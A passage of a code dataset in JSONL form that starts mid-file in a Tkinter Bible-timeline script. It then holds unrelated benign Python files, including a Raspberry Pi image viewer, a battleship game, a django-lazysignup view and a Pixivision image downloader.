str(ix),font=ft,fill='black')\n            if ix<3970:\n                cvst.create_text(ix*kx,sy*ky+sy/4,text='BC'+str(3970-ix),font=ft,fill='black')\n            elif ix>3970:\n                cvst.create_text(ix*kx,sy*ky+sy/4,text='AD'+str(ix-3969),font=ft,fill='black')\n            cvst.create_line(ix*kx,(cy-sy/4)*ky,ix*kx,(cy-sy*0.7)*ky,fill='black')#下线标尺\n            cvst.create_text(ix*kx,(cy-sy*0.9)*ky,text='AA' + str(ix),font=ft,fill='black')\n            if ix<3970:\n                cvst.create_text(ix*kx,(cy-sy)*ky-sy/4,text='BC'+str(3970-ix),font=ft,fill='black')\n            elif ix>3970:\n                cvst.create_text(ix*kx,(cy-sy)*ky-sy/4,text='AD'+str(ix-3969),font=ft,fill='black')\n        by = sy/2 + by#画完标尺，下移图画\n\n    #AD1年为AA3970年，那么，BC1年，为AA3969年（AA:AfterAdam)\n    if whenson == 0:\n        msgt1 = 'AA%d-AA%d年  事件:%s  持续:%d年' % (bAA,bAA+age, who, age)\n    else:\n        msgt1 = 'AA%d-AA%d年  事件:%s  交任:%d年  持续:%d年' % (bAA,bAA+age, who, whenson, age)\n    if bBC > bAD() and (bBC-age) > bAD(age):#生死都在公元前\n        if len(other) < 16:\n            msgt2 = 'BC%d-BC%d年 %s' % (bBC,bBC-age, other)\n        else:\n            msgt2 = 'BC%d-BC%d年\\n%s' % (bBC,bBC-age, other)\n    elif bBC < bAD():#生于公元后\n        if len(other) < 16:\n            msgt2 = 'AD%d-AD%d年 %s' % (bAD(),bAD(age), other)\n        else:\n            msgt2 = 'AD%d-AD%d年\\n%s' % (bAD(),bAD(age), other)\n    else:#生于公元前，但死于公元后\n        if len(other) < 16:\n            msgt2 = 'BC%d-AD%d年 %s' % (bBC,bAD(age), other)\n        else:\n            msgt2 = 'BC%d-AD%d年\\n%s' % (bBC,bAD(age), other)\n    msgt = msgt1 + '  ' + msgt2\n\n    #满足条件，隐藏一些条的文字\n    #if age == 480 or age == 430:\n    if False:\n        msgt = ''\n\n    #计算新的高度nsy\n    nsy = (msgt.count('\\n')+1) * sy / 2 \n    \n    #重新设定msgt使标题居中\n    if msgt.count('\\n') > 0:\n        newmsgt = msgt.split('\\n')\n        spacenum = len(newmsgt[1]) - len(newmsgt[0])\n        for i in range(spacenum):\n            if i%2 == 0:\n                msgt = '   ' + msgt\n\n    if by + nsy > cy - sy*1.5:#如果y轴画过了，重新回到sy*1.5开始画\n        by = sy * 1.5\n    #画矩形，开始位置，长宽，填充,然后在末处画一条纵线/纵线提前画了\n    #cvst.create_line((bx+age)*kx, 0, (bx+age)*kx, cy, fill=color)\n    cvst.create_rectangle(bx*kx, by*ky, (bx+age)*kx, (by+nsy)*ky, fill=color, outline=color)\n    cvst.pack()\n\n    #显示这些信息，个别调整一些X的位置，以便文字显示不重叠\n    if who in ['君士坦丁堡会议']:\n        cvst.create_text((bx+age/2+60)*kx, (by+nsy/2)*ky, text=msgt, font=ft, fill=colorto(color))\n    elif True:\n        cvst.create_text((bx+age/2)*kx, (by+nsy/2)*ky, text=msgt, font=ft, fill=colorto(color))\n    elif who in ['雅各', '约瑟', '以色列在埃及']:\n        cvst.create_text((bx+age/2-260)*kx, (by+nsy/2)*ky, text=msgt, font=ft, fill='black')\n    elif who in ['摩西', '旷野', '约书亚81?']:\n        cvst.create_text((bx+age/2-130)*kx, (by+nsy/2)*ky, text=msgt, font=ft, fill='black')\n    elif who in ['27年元老死？']:\n        cvst.create_text((bx+age/2-130)*kx, (by+nsy/2)*ky, text=msgt, font=ft, fill='black')\n    elif who in ['士师记？', '100年撒母耳？']:\n        cvst.create_text((bx+age/2-180)*kx, (by+nsy/2)*ky, text=msgt, font=ft, fill='black')\n    elif who in ['扫罗40', '大卫']:\n        cvst.create_text((bx+age/2-60)*kx, (by+nsy/2)*ky, text=msgt, font=ft, fill='black')\n    elif who in ['尼希米']:\n        cvst.create_text((bx+age/2+200)*kx, (by+nsy/2)*ky, text=msgt, font=ft, fill='black')\n    elif who in ['希腊']:\n        cvst.create_text((bx+age/2+150)*kx, (by+nsy/2)*ky, text=msgt, font=ft, fill='black')\n    elif who in ['托勒密王朝', '塞硫西王朝', '马喀比革命', '哈斯摩尼王朝']:\n        cvst.create_text((bx+age/2+200)*kx, (by+nsy/2)*ky, text=msgt, font=ft, fill='black')\n    elif who in ['罗马', '以东人希律', '耶稣']:\n        cvst.create_text((bx+age/2+50)*kx, (by+nsy/2)*ky, text=msgt, font=ft, fill='black')\n    elif who in ['巡抚', '耶路撒冷沦陷', '动乱与镇压']:\n        cvst.create_text((bx+age/2+200)*kx, (by+nsy/2)*ky, text=msgt, font=ft, fill='black')\n    else:\n        cvst.create_text((bx+age/2)*kx, (by+nsy/2)*ky, text=msgt, font=ft, fill='black')\n\n    #开始位置和时间前进喽\n    bx += whenson\n    by += nsy\n    bAA += whenson\n    bBC -= whenson\n\nbibletime = tk.Tk()\nbibletime.title('BibleTime...')\n#一个Y轴滚动条\nscrollbary = Scrollbar(bibletime)\nscrollbary.set(0.5,1)\nscrollbary.pack(side=RIGHT)\n#一个X轴滚动条\nscrollbarx = Scrollbar(bibletime, orient=HORIZONTAL)\nscrollbarx.set(0.5,1)\nscrollbarx.pack(side=RIGHT)\n#把这个东西设置好同时绑定到滚动条上\n#cvs = tk.Canvas(bibletime, width=cx, height=cy, bg='white', xscrollcommand=scrollbarx.set, yscrollcommand=scrollbary.set)#加上set后，win不好使\ncvs = tk.Canvas(bibletime, width=cx, height=cy, bg='#fafafa', xscrollcommand=scrollbarx, yscrollcommand=scrollbary)#不加set,mint好使...\ncvs.pack()\n#对滚动条进行配置，滚动时触发什么\nscrollbarx.config(command=cvs.xview)\nscrollbary.config(command=cvs.yview)\n\n\n#import data4bibletime\n#cr(cvs, '事件', 交任, 持续, 'color', '大事记')\nrundata(cr, cvs)\n\ntemp = '约伯记： 七子三女 七千羊 三千骆驼 五百对牛 五百母驴 许多仆婢 至大 儿按日筵 请姐妹来 筵过父命 清早献祭 常行 有一天 神子侍立 撒旦其中 神问何来 走来走去 往返而来 神夸约伯 撒旦控告 神允限制 撒旦退去 有一天 儿筵日 畜死儿亡 撕衣剃头 伏地下拜 <赤来赤回 神赏神收 神名当颂> 不以神愚 不妄评神 又一天 如前 再夸 再控告 存命命 撒旦退去 击打约伯 脚掌至头顶 毒疮 炉灰中坐 瓦片刮身 妻言伯责 神福神祸 三友来 七日默坐 约伯咒生 愿未生 切望死 以利法责 约伯诉苦 求死 责友 厌命 比勒达责 诉理 伯答真知 奈人无奈 诉神权 人怎言 只恳求 琐法责 约伯说 责友 炉灰箴言 淤泥坚垒 诉求神 以利法责 诉理 伯言 安慰 愁烦 换位之言 诉苦 比勒达责 伯责友责 诉己悲 琐法责 伯说 恶盛为何 以利法责 捏造攻伯 伯诉苦 求见神诉 比勒达责 伯责友 诉苦 智慧之言* 愿如前 诉现惨 证正求听 三人不再答 以利户怒* 责答说 又说 又说 又说 旋风中答 权能之问 创造之问 与神辨者 可回答吧 承认卑贱 不再说 旋风中答 你岂有能 岂能自救 河马鳄鱼 神不欠人 见神恶己 尘灰懊恼 神怒三人 三人献祭 约伯祈祷 神悦纳他 苦境转回 赏赐加倍 畜×2 人来安慰 送银金 七子三女 女得产业 见四代 日满而死'.split()\n#cvs.create_text(300, 400, text=strdef(temp), font=fto, fill='black')\n    \nbibletime.mainloop()\n","sub_path":"apps/bibletime/oldversion/blacknowbibletime.py","file_name":"blacknowbibletime.py","file_ext":"py","file_size_in_byte":8634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"174190594","text":"import random\nfrom PIL import Image\nfrom time import sleep\nimport os.path\n\nfrom JMRPiFoundations.Skeleton.RPiSparkModule import RPiSparkModule\nfrom JMRPiFoundations.Utiles.DataFilters import Sample3AxisMAFilter\n\nimages = [\n    \"manhattan-336708_1280.jpg\",\n    \"building.jpg\",\n    \"low_poly.jpg\"\n]\n\nST_ACTION_NOTHING = 0\nST_ACTION_REFRESH = 1\nST_ACTION_EXIT = 10\n\nVIEW_MOVE_LEFT  = 0\nVIEW_MOVE_RIGHT = 1\nVIEW_MOVE_UP    = 2\nVIEW_MOVE_DOWN  = 3\n\nclass ScrViewScroll(RPiSparkModule):\n    mySampleFilterA = None\n    actionStatus = 0\n    moveCount = 0\n    dsp_contrast = 20\n\n    def onDeviceShake(self, channel ):\n        self._showImage()\n        self.actionStatus = ST_ACTION_REFRESH\n\n    def _cleanup(self):\n        #release key buttons\n        self.releaseKeyButtons()\n\n        # close attitude sensor\n        self.disableShakeDetect()\n        self.RPiSpark.Attitude.sleep()\n\n        #reset screen\n        self.RPiSpark.Screen.changeBufferColorMode(\"1\")\n        self.RPiSpark.Screen.refresh()\n\n    def _moveView( self, direction, offset = 5 ):\n        screen = self.RPiSpark.Screen\n        sW, sH = screen.getBufferSize()\n        # LEFT\n        if direction == VIEW_MOVE_LEFT:\n            if screen.View.x - offset < 0:\n                screen.View.x = 0\n            else:\n                screen.View.moveOffset( -1 * offset, 0 )\n            self.actionStatus = ST_ACTION_REFRESH\n            return\n\n        # RIGHT\n        if direction == VIEW_MOVE_RIGHT:\n            if screen.View.x + screen.View.width + offset > sW:\n                screen.View.x = sW - screen.View.width\n            else:\n                screen.View.moveOffset( offset, 0 )\n            self.actionStatus = ST_ACTION_REFRESH\n            return\n\n        # UP\n        if direction == VIEW_MOVE_UP:\n            if screen.View.y - offset < 0:\n                screen.View.y = 0\n            else:\n                screen.View.moveOffset( 0, -1 * offset )\n            self.actionStatus = ST_ACTION_REFRESH\n            return\n\n        # DOWN\n        if direction == VIEW_MOVE_DOWN:\n            if screen.View.y + screen.View.height + offset > sH:\n                screen.View.y = sH - screen.View.height\n            else:\n                screen.View.moveOffset( 0, offset )\n            self.actionStatus = ST_ACTION_REFRESH\n            return\n\n    def _loadImage(self):\n        img_path = os.path.abspath( os.path.join('images/', random.choice(images)) )\n        return Image.open( img_path )\n    \n    def _showImage(self):\n        self.RPiSpark.Screen.redefineBuffer( self._loadImage() )\n        self.RPiSpark.Screen.refresh()\n\n    def _adjustContrast(self, offset):\n        self.dsp_contrast += offset\n        if self.dsp_contrast > 255: self.dsp_contrast = 255\n        if self.dsp_contrast < 20: self.dsp_contrast = 20\n        self.RPiSpark.Screen.Display.setContrast(self.dsp_contrast)\n\n    def setup(self):\n        random.seed()\n        self.mySampleFilterA = Sample3AxisMAFilter(10)\n        self.initKeyButtons(\"QUERY\")\n        self.RPiSpark.Attitude.openWith( accel = True, gyro = False, temp = False, cycle = False )\n        self.enableShakeDetect()\n\n    def run(self):\n        print(\"Shake device to change image. Press button A and Joy Up to exit testting ...\")\n        self._showImage()\n        accelVal = {\"x\":0, \"y\":0, \"z\":0}\n        while self.actionStatus != ST_ACTION_EXIT:\n\n            #################################\n            # Exit button status read\n            if self.readExitButtonStatus(): break\n\n            #################################\n            # Adjust contrast\n            if self.readKeyButton(self.RPiSparkConfig.BUTTON_JOY_UP):\n                self._adjustContrast(20)\n\n            if self.readKeyButton(self.RPiSparkConfig.BUTTON_JOY_DOWN):\n                self._adjustContrast(-20)\n\n            if self.moveCount % 5 == 1:\n                accelVal = self.RPiSpark.Attitude.getAccelData()\n                maAccel = self.mySampleFilterA.addSampleValue(accelVal[\"x\"], accelVal[\"y\"], accelVal[\"z\"])\n                if maAccel == None: continue\n\n                direH = (VIEW_MOVE_RIGHT if maAccel[\"x\"]>0 else VIEW_MOVE_LEFT)\n                direV = (VIEW_MOVE_UP if maAccel[\"y\"]>0 else VIEW_MOVE_DOWN)\n                self._moveView( direH, int(abs(maAccel[\"x\"] * 1.5)) )\n                self._moveView( direV, int(abs(maAccel[\"y\"] * 1.5)) )\n\n            if self.actionStatus == ST_ACTION_REFRESH:\n                self.RPiSpark.Screen.refresh()\n                self.actionStatus = ST_ACTION_NOTHING\n\n            self.moveCount += 1\n\n        self._cleanup()\n        print(\"Image Scroll testting done.\")","sub_path":"turorial/10.0/ScrViewScroll_10_3_1.py","file_name":"ScrViewScroll_10_3_1.py","file_ext":"py","file_size_in_byte":4602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"653171299","text":"import os\nLTP_DATA_DIR = 'E:\\work\\ltp_data_v3.4.0'  # ltp模型目录的路径\npar_model_path = os.path.join(LTP_DATA_DIR, 'parser.model')\ncws_model_path = os.path.join(LTP_DATA_DIR, 'cws.model')\npos_model_path = os.path.join(LTP_DATA_DIR, 'pos.model')\nsrl_model_path = os.path.join(LTP_DATA_DIR, 'pisrl_win.model')\n\nfrom pyltp import Segmentor\nsegmentor = Segmentor()\nsegmentor.load_with_lexicon(cws_model_path,'userdict.txt')\nwords = segmentor.segment(\"中兴C580支持什么样的网络类型\")\n\nfrom pyltp import Postagger\npostagger = Postagger() # 初始化实例\npostagger.load_with_lexicon(pos_model_path,'userdict.txt')  # 加载模型\npostags = postagger.postag(words)  # 词性标注\n\nfrom pyltp import Parser\nparser = Parser()\nparser.load(par_model_path)\narcs = parser.parse(words,postags)\n\nfrom pyltp import SementicRoleLabeller\nlabeller =  SementicRoleLabeller()\nlabeller.load(srl_model_path)  # 加载模型\nroles = labeller.label(words, postags, arcs)  # 语义角色标注\n\nprint(\"\\t\".join(words))\n#print(\"\\t\".join(postags))\nprint(\"\\t\".join(\"%d:%s\" % (arc.head, arc.relation) for arc in arcs))\nfor role in roles:\n    print(role.index, \"\".join(\n        [\"%s:(%d,%d)\" % (arg.name, arg.range.start, arg.range.end) for arg in role.arguments]))\n\nlabeller.release()\nparser.release()\npostagger.release()\nsegmentor.release()\n\n","sub_path":"ParserModel.py","file_name":"ParserModel.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"78930722","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\n\nfrom models import Field, Shot\nfrom player import Player\nfrom utils import get_input_function\nfrom consts import DICT\n\n\n# singleton\nclass Game(object):\n    obj = None\n\n    @classmethod\n    def __new__(cls, *args):\n        if cls.obj is None:\n            cls.obj = object.__new__(cls)\n        return cls.obj\n\n    def __init__(self):\n        self.stage = \"data_input\"\n        self.turn = 0\n        self.active_player = None\n        self.not_active_player = None\n\n    def _check_player_name_identity(self, second_player_name):\n        if not self.active_player:\n            return\n\n        if self.active_player.name == second_player_name:\n            raise SyntaxError(\"Players name can't be same!\")\n\n    def change_players(self):\n        self.active_player, self.not_active_player = self.not_active_player, self.active_player\n        if self.not_active_player:\n            print(self.active_player, \"turn\")\n\n    def activate_player(self):\n        # while True:\n        #     try:\n        #         name = input_function('\\nInput player name: ')\n        #         self._check_player_name_identity(name)\n        #         break\n        #     except SyntaxError as msg:\n        #         print(msg)\n\n        name = \"Alex\"\n        if self.active_player:\n            name = \"Alex_clone\"\n\n        if self.active_player:\n            self.change_players()\n\n        self.active_player = Player(name)\n        print(self.active_player, \"turn\")\n\n    @staticmethod\n    def render_field(field=[], ships=[], shots=[], field_name=\"Own\"):\n        print(field_name,\"field:\\n\")\n\n        rendered_field = []\n\n        for x in range(field.size[0]):\n            rendered_field.append([])\n            for y in range(field.size[1]):\n                rendered_field[x].append(\".\")\n\n        for ship in ships:\n            for coordinate in ship.full_coordinates:\n                rendered_field[coordinate[1]][coordinate[0]] = \"O\"\n\n        for shot in shots:\n            rendered_field[shot.coordinate[1]][shot.coordinate[0]] = \"x\"\n\n        # add all keys in DICT as first list in render_field\n        rendered_field.insert(0,\n            list(DICT.keys())\n        )\n        rendered_field[0].insert(0, \"  \")\n\n        num = 1\n        for lst in rendered_field[1:]:\n            lst.insert(0, \"{:>{w}}\".format(num, w=2))\n            num += 1\n\n        # print render_field\n        for string in rendered_field:\n            for elem in string:\n                print(elem, end=\"\")\n            print()\n        print()\n\n    def check_ship_presence_for_cell(self, cell):\n        for ship in self.not_active_player.ships:\n            if cell in ship.full_coordinates:\n                return True\n\n        return False\n\n    def check_shot_for_hit(self, shot):\n        if self.check_ship_presence_for_cell(shot.coordinate):\n            # self.fill_neighbor_free_cells(shot.coordinate)\n            return True\n\n        return False\n\n    @staticmethod\n    def check_correct_cell_index(cell_index):\n        if (cell_index[0]-1 < 0) or \\\n           (cell_index[1]-1 < 0) or \\\n           (cell_index[0]+1 > 9) or \\\n           (cell_index[1]+1 > 9):\n            return False\n\n        return cell_index\n\n    def fill_neighbor_free_cells(self, cell):\n        neighbor_cells = [\n            [cell[0]-1, cell[1]-1],\n            [cell[0]-1, cell[1]],\n            [cell[0], cell[1]-1],\n            [cell[0]+1, cell[1]],\n            [cell[0], cell[1]+1],\n            [cell[0]-1, cell[1]+1],\n            [cell[0]+1, cell[1]-1],\n            [cell[0]+1, cell[1]+1],\n        ]\n\n        # make list of correct (in range of field) neighbor cells\n        correct_neighbor_cells = []\n        for neighbor_cell in neighbor_cells:\n            correct_neighbor_cell = self.check_correct_cell_index(neighbor_cell)\n            if correct_neighbor_cell:\n                correct_neighbor_cells.append(correct_neighbor_cell)\n\n        for neighbor_cell in correct_neighbor_cells:\n            if neighbor_cell not in self.active_player.shots:\n                if not self.check_ship_presence_for_cell(neighbor_cell):\n                    new_shot = Shot(neighbor_cell)\n                    self.active_player.shots.append(new_shot)\n\n    def check_for_win_game(self):\n        pass\n\n    def make_move(self):\n        if self.stage == \"data_input\":\n            self.activate_player()\n\n            self.active_player.field = Field()\n            self.active_player.place_ships(self.render_field)\n\n            if self.not_active_player:\n                self.stage = \"game\"\n        elif self.stage == \"game\":\n            self.change_players()\n\n            self.render_field(\n                self.active_player.field,\n                self.active_player.ships,\n                self.not_active_player.shots,\n                \"Own\"\n            )\n            self.render_field(\n                self.not_active_player.field,\n                [],\n                self.active_player.shots,\n                \"Opposite\"\n            )\n\n            shot = self.active_player.make_shot()\n            if self.check_shot_for_hit(shot):\n                self.change_players()\n\n            if self.check_for_win_game():\n                return True\n\n\ndef main():\n    global input_function\n    input_function = get_input_function()\n    game = Game()\n\n    while True:\n        game.make_move()\n\n    print(\"\\n\\n\\nYou win!\\n\\n\\n\")\n\nif __name__ == '__main__':\n    main()","sub_path":"2016.03.01_lesson4/naval/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":5424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"597787747","text":"from cookbook import ncr, print_timing\nfrom math import ceil\n\n@print_timing\ndef solve():\n\tres = 0\n\tfor n in range(1, 101):\n\t\tif n % 2 == 0:\n\t\t\tfor r in range(2, n/2):\n\t\t\t\t#print n, r, ncr(n, r)\n\t\t\t\tif ncr(n, r) > 1000000:\n\t\t\t\t\tres += 2\n\t\t\tif ncr(n, n/2) > 1000000:\n\t\t\t\tres += 1\n\t\telse:\n\t\t\tfor r in range(2, int(ceil(n/2)+1)):\n\t\t\t\t#print n, r, ncr(n, r)\n\t\t\t\tif ncr(n, r) > 1000000:\n\t\t\t\t\tres += 2\n\treturn res\n\nif __name__ == \"__main__\":\n\tsolve()","sub_path":"pe53.py","file_name":"pe53.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"66578986","text":"import media\nimport fresh_tomatoes\n\ntoy_story = media.Movie(\"Life of entrepreneur\",\n                        \"See what he do throughout the day\",\n                        \"http://3.bp.blogspot.com/-8m9pjSAwZxM/U3hrWorccEI/AAAAAAAAOxU/2p-u_eGSPJo/s1600/Life-of-Entrepreneur-infographic.jpg\",\n                        \"https://www.youtube.com/watch?v=h-KHWUq3B7I\")\n\navatar = media.Movie(\"Avatar\",\n                     \"A marine on an alien planet\",\n                     \"https://resizing.flixster.com/wmwaS9C76fnLpML3UAj0i3l6djw=/206x305/v1.bTsxMTE3Njc5MjtqOzE3NDU0OzEyMDA7ODAwOzEyMDA\",\n                     \"https://www.youtube.com/watch?v=cRdxXPV9GNQ\")\n\nyjhd = media.Movie(\"YJHD\",\n                   \"Yeh Jawani Hai Diwani\",\n                   \"http://www.cinehindi.com/wp-content/uploads/2015/08/fsada.png\",\n                   \"https://www.youtube.com/watch?v=PUpHeOBV1FU\")\n\nmovies = [toy_story, avatar, yjhd]\nfresh_tomatoes.open_movies_page(movies)\n\n","sub_path":"Movie Website - Mini Project/entertainment.py","file_name":"entertainment.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"626832520","text":"from django.conf import settings\nfrom django.shortcuts import redirect, render_to_response, resolve_url\nfrom django.http import HttpResponse\nfrom django.http import HttpResponseRedirect\nfrom django.http import HttpResponseBadRequest\nfrom django.template import RequestContext\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.utils.http import is_safe_url\n\nfrom django.contrib.auth import authenticate\nfrom django.contrib.auth import login\n\nfrom lazysignup.decorators import allow_lazy_user\nfrom lazysignup.exceptions import NotLazyError\nfrom lazysignup.forms import UserCreationForm\nfrom lazysignup.models import LazyUser\n\n\n@allow_lazy_user\ndef convert(request, form_class=UserCreationForm,\n            redirect_field_name='next',\n            anonymous_redirect=settings.LOGIN_URL,\n            template_name='lazysignup/convert.html',\n            ajax_template_name='lazysignup/convert_ajax.html'):\n    \"\"\" Convert a temporary user to a real one. Reject users who don't\n    appear to be temporary users (ie. they have a usable password)\n    \"\"\"\n    # Get redirect from GET params, or use value from settings, defaulting\n    # to provided \"done\" view\n    default_redirect_url = getattr(settings, \"LAZY_CONVERT_SUCCESS_URL\",\n                           'lazysignup_convert_done')\n    redirect_to = request.REQUEST.get(redirect_field_name, default_redirect_url)\n\n    # If we've got an anonymous user, redirect to login\n    if request.user.is_anonymous():\n        return HttpResponseRedirect(anonymous_redirect)\n\n    if request.method == 'POST':\n        form = form_class(request.POST, instance=request.user)\n        if form.is_valid():\n\n            # Ensure the user-originating redirection url is safe.\n            if not is_safe_url(url=redirect_to, host=request.get_host()):\n                redirect_to = resolve_url(settings.LOGIN_REDIRECT_URL)\n\n            try:\n                LazyUser.objects.convert(form)\n            except NotLazyError:\n                # If the user already has a usable password, return a Bad\n                # Request to an Ajax client, or just redirect back for a\n                # regular client.\n                if request.is_ajax():\n                    return HttpResponseBadRequest(\n                        content=_(u\"Already converted.\"))\n                else:\n                    return redirect(redirect_to)\n\n            # Re-log the user in, as they'll now not be authenticatable with\n            # the Lazy backend\n            if getattr(settings, 'AUTO_LOGIN_ON_LAZY_CONVERSION', True):\n                login(request, authenticate(**form.get_credentials()))\n\n            # If we're being called via AJAX, then we just return a 200\n            # directly to the client. If not, then we redirect to a\n            # confirmation page or to redirect_to, if it's set.\n            if request.is_ajax():\n                return HttpResponse()\n            else:\n                return redirect(redirect_to)\n\n        # Invalid form, now check to see if is an ajax call\n        if request.is_ajax():\n            return HttpResponseBadRequest(content=str(form.errors))\n    else:\n        form = form_class()\n\n    # If this is an ajax request, prepend the ajax template to the list of\n    # templates to be searched.\n    if request.is_ajax():\n        template_name = [ajax_template_name, template_name]\n    return render_to_response(template_name, {\n            'form': form,\n            redirect_field_name: redirect_to,\n        }, context_instance=RequestContext(request))\n","sub_path":"lazysignup/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"591622538","text":"# Module: PySDMs\n# Author: Daniel Ryan Furman <dryanfurman@gmail.com>\n# License: MIT\n# Last modified : 4/7/21\n\n# https://github.com/daniel-furman/PySDMs\n\nimport pathlib\nfrom setuptools import setup, find_packages\n\nHERE = pathlib.Path(__file__).parent\n# The text of the README file\nREADME = (HERE / \"README.md\").read_text()\n\nsetup(\n    name=\"PySDMs\",\n    version=\"0.1\",\n    author=\"Daniel Ryan Furman\",\n    author_email=\"dryanfurman@gmail.com\",\n    description=(\"An object-oriented class for ML geo-classification.\"),\n    long_description=\"See documentation at https://github.com/daniel-furman/PySDMs\",\n    license=\"MIT\",\n    keywords=\"species-distribution-modeling machine-learning biodiversity\",\n    url=\"https://github.com/daniel-furman/PySDMs\",\n    packages=find_packages(),\n    include_package_data=True,\n    install_requires=[\"numpy\", \"pandas\", \"sklearn\", \"matplotlib\", \"pycaret\",\n        \"pyimpute\", \"geopandas\", \"rasterio\"],\n    classifiers=[\n        \"Development Status :: 3 - Alpha\",\n        \"Topic :: Utilities\",\n        \"License :: OSI Approved :: MIT License\",\n        \"Intended Audience :: Science/Research\",\n        \"Operating System :: OS Independent\",\n        \"Programming Language :: Python :: 3\",\n        \"Topic :: Scientific/Engineering\"\n        ],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"287647117","text":"# -*- coding: utf-8 -*-\nimport re\n\nimport pixiv_config\nfrom pixivision.ImageDownload import IlluDownloadThread, ImageDownload\nfrom pixivision.PixivisionLauncher import PixivisionLauncher\n\n\ndef set_int(intNum):\n    try:\n        return int(intNum)\n    except:\n        return 0\n\n\ndef main_for_zh():\n    print(\"这里是Pixivision插画特辑下载器。\")\n    print(\"如果���见什么问题或发现BUG，请联系我Github:(https://github.com/imn5100)或Email:(imn5100_chu2@163.com)。\")\n    download_type = raw_input(\n            \"请选择你需要下载的类型：\\n输入1.特辑列表页(多组特辑)输入页码即可\\n输入2.下载特辑页\\n输入3.直接使用图片url下载（部分下载失败的图片可直接使用此功能下载）\\n输入4.通过P站id下载\\n输入其他数字.退出\\n\")\n    download_type = set_int(download_type)\n    if download_type == 0:\n        exit()\n    if download_type == 1:\n        page_index = raw_input(\"请输入需要下载的页面页码,如果是不存在页码将下载失败\\n\")\n        page_index = set_int(page_index)\n        if page_index == 0:\n            page_index = 1\n        url = pixiv_config.LINK_URL % page_index\n        print(\"充能ing...\")\n        PixivisionLauncher(url, save_path=pixiv_config.IMAGE_SVAE_BASEPATH, quality=pixiv_config.IMAGE_QUALITY).start()\n    elif download_type == 2:\n        while True:\n            url = raw_input('请输入需要下载的链接:\\n')\n            if re.match(\"http://www.pixivision.net/(zh|ja|en|zh-tw)/a/\\d*\", url.strip()):\n                break\n            else:\n                print (\"输入连接不支持，请输入Pixivision 站特辑网址。栗子:http://www.pixivision.net/zh/a/1906 \")\n                continue\n        save_path = raw_input(\"请输入有效存储路径：\\n\")\n        print(\"充能ing...\")\n        IlluDownloadThread(url.strip(), path=save_path.decode(\"utf-8\"), quality=pixiv_config.IMAGE_QUALITY).start()\n    elif download_type == 3:\n        url = str(raw_input(\"请输入Pixiv图片url:\")).strip()\n        ImageDownload.download_byurl(url)\n    elif download_type == 4:\n        id = int(raw_input(\"请输入Pixiv插画ID:\"))\n        ImageDownload.download_image_byid(id)\n    else:\n        print(\"退出!\")\n        return\n\n\ndef main_for_en():\n    print(\"Here is the Pixivision illustrator downloader.\")\n    print(\n        \"If you have any problems or find bugs, please contact me at github: (https://github.com/imn5100) or Email: (imn5100_chu2@163.com).\")\n    download_type = raw_input(\n            \"Please select the type you want to download: \\n Enter 1. The special list page (groups of specials) enter the page number to \\n \"\n            \"Enter 2. Download the special page \\n \"\n            \"Enter 3.Use the image url to download (some download failed pictures Direct use of this feature to download) \\n\"\n            \" Enter 4. Through the P station id download \\n Enter the other numbers.\\n\")\n    download_type = set_int(download_type)\n    if download_type == 0:\n        exit()\n    if download_type == 1:\n        page_index = raw_input(\n                \"Please enter the page number to be downloaded. If the page number does not exist, the download will fail\\n\")\n        page_index = set_int(page_index)\n        if page_index == 0:\n            page_index = 1\n        url = pixiv_config.LINK_URL % page_index\n        print(\"Charging...\")\n        PixivisionLauncher(url, save_path=pixiv_config.IMAGE_SVAE_BASEPATH, quality=pixiv_config.IMAGE_QUALITY).start()\n    elif download_type == 2:\n        while True:\n            url = raw_input('Please enter a Pixivision URL to download:\\n')\n            if re.match(\"http://www.pixivision.net/(zh|ja|en|zh-tw)/a/\\d*\", url.strip()):\n                break\n            else:\n                print (\n                    \"The input URL is not supported, enter the Pixivision Station URL,Example:http://www.pixivision.net/en/a/1906 \")\n                continue\n        save_path = raw_input(\"Please enter a valid storage path:\\n\")\n        print(\"Charging...\")\n        IlluDownloadThread(url.strip(), path=save_path.decode(\"utf-8\"), quality=pixiv_config.IMAGE_QUALITY).start()\n    elif download_type == 3:\n        url = str(raw_input(\"Please enter the Pixiv image url:\")).strip()\n        ImageDownload.download_byurl(url)\n        print(\"Charging...\")\n    elif download_type == 4:\n        id = int(raw_input(\"Please enter a Pixiv illustration ID:\"))\n        ImageDownload.download_image_byid(id)\n    else:\n        print(\"Exit!\")\n        return\n\n\nif __name__ == '__main__':\n    language = raw_input(\"选择语言(Choose A Language):\\n(输入 1)中文\\n(Enter 2)English\\n\")\n    language = set_int(language)\n    if language == 0:\n        exit()\n    if language == 1:\n        main_for_zh()\n    else:\n        main_for_en()\n","sub_path":"launcher.py","file_name":"launcher.py","file_ext":"py","file_size_in_byte":4790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
